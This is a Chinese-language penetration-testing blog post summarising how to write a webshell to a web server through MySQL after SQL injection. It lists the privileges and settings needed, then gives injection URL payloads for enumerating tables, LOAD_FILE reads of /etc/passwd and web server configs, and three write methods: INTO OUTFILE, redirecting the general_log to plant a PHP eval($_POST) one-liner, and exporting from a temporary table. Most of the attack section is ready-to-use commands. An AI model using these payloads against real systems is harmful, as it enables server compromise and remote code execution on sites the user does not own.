V0W's Blog

mysql写shell的一点总结

字数统计: 787阅读时长: 4 min
2020/03/14 Share

0x00 前言

利用SQL注入,当存在一定的利用条件时,我们可以利用mysql进行文件的写入,在知道网站绝对路径的情况下,可以通过这种方式写入shell。

0x01 利用条件

  1. 数据库当前用户为root权限或者至少有FILE权限

    1
    2
    3
    4
    5
    6
    7
    8
    9
    mysql> select file_priv,user,host from mysql.user;
    +-----------+------+-----------+
    | file_priv | user | host |
    +-----------+------+-----------+
    | Y | root | localhost |
    | Y | root | 127.0.0.1 |
    | Y | root | ::1 |
    +-----------+------+-----------+
    3 rows in set (0.00 sec)
  2. 知道当前网站的绝对路径

  3. php的gpc为off状态, 在开启gpc的情况下,可以通过十六进制的路径读写文件

  4. 写入的那个路径存在写权限

  5. secure_file_priv=''

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    mysql> select @@secure_file_priv;
    +-----------------------+
    | @@secure_file_priv |
    +-----------------------+
    | /var/lib/mysql-files/ |
    +-----------------------+
    1 row in set (0.00 sec)

    secure_file_priv可以设置如下这样进行设置:
    1. 设置为空,那么对所有路径均可进行导入导出。
    2. 设置为一个目录名字,那么只允许在该路径下导入导出。
    3. 设置为Null,那么禁止所有导入导出。

    需要在mysql的配置文件中更改:
    [mysqld]
    secure_file_priv=""

0x02 读取web路径

2.1 利用报错

有时候information_schema.tables不能用时,在MySQL 5.6及以上版本中可以使用以下表

1
2
?id=1' union select 1,group_concat(table_name) from mysql.innodb_table_stats where database_name=schema()%23&Submit=Submit%23
?id=1' union select 1,group_concat(table_name) from mysql.innodb_index_stats where database_name=schema()%23&Submit=Submit%23

2.2 phpinfo

2.3 load_file读配置文件

1
SELECT LOAD_FILE('/etc/apache2/sites-available/default');

有时候过滤了敏感路径可以试试这样:

1
SELECT LOAD_FILE('/etc/otherdir/../passwd');

2.4 通过mysql函数和全局变量 查找mysql安装目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mysql> select @@basedir;
+-----------+
| @@basedir |
+-----------+
| /usr/ |
+-----------+
1 row in set (0.01 sec)

mysql> select @@datadir;
+-----------------+
| @@datadir |
+-----------------+
| /var/lib/mysql/ |
+-----------------+
1 row in set (0.00 sec)

mysql> show variables like 'datadir';
+---------------+-----------------+
| Variable_name | Value |
+---------------+-----------------+
| datadir | /var/lib/mysql/ |
+---------------+-----------------+
1 row in set (0.01 sec)

@@ 用于系统变量

@ 往往用于用户定义的变量

0x03 常见方法写shell

3.1 select * into

1
2
3
4
5
mysql> select '<? phpinfo(); ?>' into outfile 'E:/1.txt';
Query OK, 1 row affected (0.00 sec)

mysql> select '<? phpinfo(); ?>' into outfile 'E:/1.txt';
Query OK, 1 row affected (0.00 sec)

3.2 基于log日志写shell法

http://sh1yan.top/2018/05/26/mysql-writ-shell/

查询当前mysql下log日志的默认地址,同时也看下log日志是否为开启状态,并且记录下原地址,方便后面恢复。

set global general_log = on;
开启日志监测,一般是关闭的,如果一直开,文件会很大的。

set global general_log_file = ‘G:/2.txt’;
这里设置我们需要写入的路径就可以了。

select ‘<?php eval($_POST[‘shiyan’]);?>’;
查询一个一句话,这个时候log日志里就会记录这个。

set global general_log_file = ‘D:\xampp\mysql\data\LAPTOP-SO1V6ABB.log’;
结束后,再修改为原来的路径。

set global general_log = off;
关闭下日志记录。

20200322145847.png

3.3 创建表,导出数据

其实和第一种方法差不多。

1
2
3
4
5
6
use test;
drop table if exists vow;
create table vow(name text not null);
insert into vow(name) values('<?php phpinfo(); ?>');
select name from vow into outfile 'E:/5.txt';
drop tables vow;
CATALOG
  1. 0x00 前言
  2. 0x01 利用条件
  3. 0x02 读取web路径
    1. 2.1 利用报错
    2. 2.2 phpinfo
    3. 2.3 load_file读配置文件
    4. 2.4 通过mysql函数和全局变量 查找mysql安装目录
  4. 0x03 常见方法写shell
    1. 3.1 select * into
    2. 3.2 基于log日志写shell法
    3. 3.3 创建表,导出数据